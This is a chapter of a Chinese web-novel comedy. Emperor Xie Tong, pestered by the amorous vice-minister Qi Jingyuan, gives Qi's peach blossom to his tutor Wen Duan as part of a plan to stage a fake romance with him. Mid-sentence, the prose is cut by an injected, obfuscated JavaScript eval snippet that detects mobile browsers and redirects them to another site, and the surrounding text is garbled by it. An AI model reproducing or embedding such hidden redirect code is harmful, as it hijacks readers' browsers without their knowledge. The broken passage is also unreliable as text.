闻端正在与谢桐下战棋,伸指将一枚白玉棋子放在棋盘上,道: “圣上亲赴水患险地,救东泉县一城百姓于为难之中,必令东泉县的子民牢记在心。此番回程,他们是来恭送圣上的。” 谢桐瞥了一眼他下的地方,不假思索地落了一枚黑棋,说:“朕有什么功劳,就连齐净远控制水患局势的几个计策,不也是老师你给他的么?” 闻端抬了下眸,并不意外谢桐得知这件事情,微沉吟了一会儿,淡淡道:“臣当时还留在京城,齐侍郎愿意不顾安危,自请前往水患严重之地,已是勇气可嘉。” “至于那几条治水之策,不过是辅助罢了。” 闻端又下了一棋,嗓音温和:“若无合适的人,那几条计策,也未必就能用上。” 谢桐发现自己的兵已经不知不觉中被闻端堵死,不由得停下动作,思索起来。 轿辇外传来罗太监尖细的嗓音,随后马车缓缓前行,开始了与来途同样漫长的归途。 不过回京的气氛显然不同。 天气一日比一日好,阳光明媚气温宜人,兼之没有了水患压在心头,队伍里人人脸上都洋溢着淡淡的笑容,似乎连马儿跑起来都矫健有力许多。 在一片祥和安逸的氛围中,谢桐所在的马车被人从外面敲了两下,响起齐净远的声音: “圣上,臣能进来吗?” 谢桐下棋的手一抖,一枚黑棋没放稳,摔倒在了棋盘上。 闻端正给小香炉添香,动作也是一顿,看向谢桐:“圣上是否……不想见到齐侍郎?” 岂止是不想和他见面! 谢桐现在听见齐净远的声音便头疼。 自从那日坦然承认自己的龙阳之癖后,齐净远的脸皮厚度突飞猛涨,时不时要来骚扰一下谢桐。 白日,汇报完水患处理事宜,齐净远就对谢桐道:“圣上,臣说的话句句属实。” “愿成为圣上的蓝颜知己,陪伴左右,为圣上排忧解难。” “圣上,臣不求其他恩典,只求圣上应允臣的一番心意。” “圣上……” 夜里,齐净远甚至几次徘徊在谢桐的厢房门外,被瞧见了,就坦率无比地说:“臣来自荐枕席。” “听闻圣上忧心水患,时常难以入眠。臣曾学得推拿手法一二,或可为圣上舒缓筋骨。” 三更半夜,明月高悬,谢桐伸手拦着门,看齐净远一身雪白里衣立在院中,墨发松松挽在身后,一双桃花眸笑意浅浅,登时头皮发麻。 男……男同! 谢桐砰地一声把前来“献身”的齐净远拒之门外。 短短几天时间,齐净远花招层出不穷,嘴里说的花言巧语越来越动听,有时不禁令谢桐也开始迷惑,齐净远如此执着,难道是笃定谢桐自己也是个断袖吗? “……齐侍郎近日颇有点言行无状。” 谢桐掩饰性咳了一声,说:“朕的确不太想见到他。” 闻端慢慢把歪倒的棋子扶起来,敛眸道:“圣上可要臣做些什么?” 三天前,谢桐与闻端达成了合作共识。 用谢桐的心里话来说,那应该叫做——“反龙阳君之盟”。 合盟只有两个人,一个是预示梦中自始至终坚定立场,没能成为断袖的闻端,另一个是在梦外坚定立场,拒绝融入龙阳之流的谢桐。 即使这个合盟人数少得可怜,但谢桐自己有自己的想法。 简如是、齐净远、关蒙都已经突变成了断袖,还能寻谁来帮助自己?罗太监么? 根据预示梦里的同人文描述,连六根清净的小太监也能被传染成为断袖,谢桐万万不敢冒这个险,拉一个或许会随时叛变的敌人入盟。 因此,闻端是上佳人选。 至于具体如何做…… 谢桐心中自有计较。 马车外的齐净远等了一会儿,没等到回应,于是脚步声逐渐远去了。 谢桐一直等到听不见动静了,才慢吞吞道: “朕是天子,臣子对朕抱有那样不轨的心思,实是大不敬之举,朕一怒之下,说不定要将齐净远等人斩首。” “嗯。”闻端也应了一句,赞许地说:“是该斩首。” “但朕刚刚登基,正是用人之际。” 谢桐捏了捏眉心,看上去无比烦躁:“如此荒谬之事,也难以拿到朝堂上明说,朕可不想成为滥杀无辜的暴君。” “所以,”他放下手,正色道:“老师,朕需要你的帮助。” 闻端巍然不动,只问:“圣上想要臣如何做?” 谢桐想了想,提议:“朕常与老师待在一块儿,齐净远等人就难以接近朕了。” “相思之情,非距离可解。”闻端却缓缓道:“圣上可知何谓,一日不见如隔三秋?” 谢桐:“不知。” 闻端目光垂落,似是勾了一下唇角,说:“圣上年纪还小,未曾尝过这种滋味也正常。” 谢桐蹙眉:“朕不小了。太傅既然如此说,难不成是常有这种相思之情吗?” 闻端伸手,一枚一枚将棋子拈起,收拢放回棋篓,指尖抚过那些精心雕琢而制的圆润棋子,修长的指节泛着玉色,比玲珑白子更显优美。 “……臣也未有过。”闻端开了口,语气很轻:“令圣上见笑了。” 谢桐长睫微动,不知道是信还是没信。 “不过臣虽然也没什么经验,但总归从诗书上能总结一二。”闻端又说:“臣觉得,圣上若想令齐侍郎放弃,光凭避而不见是不够的。” 谢桐点点头,的确如此。 这几天他越是躲着齐净远,齐净远就找他找得越是起劲,大有不把谢桐逼到绝境、赶到龙阳之路上就不罢休的态势。 “臣以为,”闻端道:“圣上还是当面与齐侍郎说清楚为好。” 就在这时,马车外又响起几声敲击,齐净远的声音传进来: “圣上,臣有急事禀奏,请圣上务必放臣进去。” 谢桐顿了一顿,说:“进来吧。” 齐净远立即掀帘而入,动作快得让谢桐只瞧见了他俯身的影子,一眨眼间,人就笑眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722347|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眯地坐在谢桐身旁了。 齐净远感叹:“想见圣上一面,可真不容易啊。” 谢桐不看他:“你若是不再说些乱七八糟的话,朕也不至于见了你就烦。” 齐净远毫不顾忌闻端就坐在一旁,语气笑吟吟地说:“圣上,感情一事最难压制,臣满腔爱意无处宣泄,这才时时过来冒昧打扰圣上。” “少贫嘴。”谢桐已经对他的花言巧语免疫了,淡淡道:“什么急事?” 齐净远变戏法似的从身后拿出一枝含苞待放的桃花,歪了歪头:“臣方才自路边的桃树下过,发现竟有数枝早桃屹立枝头,这冬日寒意渐消,春天马上就要到了。” 谢桐瞧了瞧他折的那枝桃花,问:“这就是你口中的急事。” “只是寻个借口给圣上送花罢了。”齐净远脸皮不是一般的厚,坦然自若道:“圣上现在轰我出去,也不算迟。” “只是臣折的这枝桃花,还望圣上惜春,高抬贵手留下。” 齐净远将花枝放在右手掌心里,做了个献宝的姿势,眨了眨眼,说:“圣上,收下此物,如何?” 谢桐接了。 不仅接了,还特意抬眸看了一眼对面坐着的闻端,几息后收回视线,指间把玩着那细细的花枝,不紧不慢道: “齐侍郎的心意,朕领了。” 没等齐净远有所反应,谢桐忽然迅速折下枝头最漂亮的那朵花苞,连带着一小节笔直的木枝,微微一起身,就将这花放进了闻端掌中。 闻端:“?” 齐净远:“???” 谢桐坐回原位,望着闻端垂眼去看那桃花,坦然无比地道: “不过朕还是觉着,此花堪与闻太傅相配。齐侍郎,你的花,朕送给太傅了,你不介意吧?” “……”齐净远的脸色看上去五味杂陈难以形容,神情复杂地盯着闻端看了片刻,才说:“……臣不介意。” 谢桐摆摆手:“好了,那你退下吧。” 等齐净远皱眉出了马车后,闻端停下整理棋篓的动作,合拢掌心,将花苞拢起,又问:“圣上是何意?” 碰上谢桐这番出人意料的举动,饶是闻端向来冷静,眉宇间也不免略有几分意外之色。 谢桐把剩下的花枝放在桌上,闻言咳了一声:“朕突然想将花赠予太傅,不可吗?” 闻端:“不是不可,只是……” “老师,”谢桐慢腾腾地说:“既然你应承过朕,会在必要时配合朕,打消齐侍郎等人不该有的念头,那你配合就是了。” 他知道闻端在疑惑什么的,但不管闻端如何猜测,都肯定猜不出谢桐的目的何在。 他曾在预示梦中度过数个日月,记住的不仅是那些形形色色的同人文,还有各类与谢桐自己有关的男男“CP”故事线。 论起别的,谢桐可能不明白,但论起组CP和拆CP,经历了梦境后,谢桐自认为有绝妙想法可以进行尝试。 组CP,那些荒唐的同人文已经给谢桐组好了,甚至还影响到了现世。 拆CP,谢桐触类旁通,认真总结,最后在观摩无数同人文后得出结论: 拆一对CP的最好方法,就是自创蟹脚拉郎假CP! 为了避免预示梦影响现世,让齐净远、关蒙、简如是等人断袖得越来越变态,谢桐决定,他要—— 他要先下手为强,要闻端和他一起当男同!! 既然是一起扮演假断袖,试问还有谁比闻端这个从头到尾都没有断袖倾向的人更靠谱? 还有哪对CP能比《万古帝尊》中谢桐和闻端的CP更蟹脚? 只要打破预示梦的定论,最后再下手将自己与闻端的关系拉回正轨,不是正好跳出了预示的结局吗? 嗯……只需要稍稍利用那么一点点变化…… 就可以借接近闻端,塑造假断袖的表象,来摆脱齐、简、关等真断袖们的骚扰。 这一招,实在是高!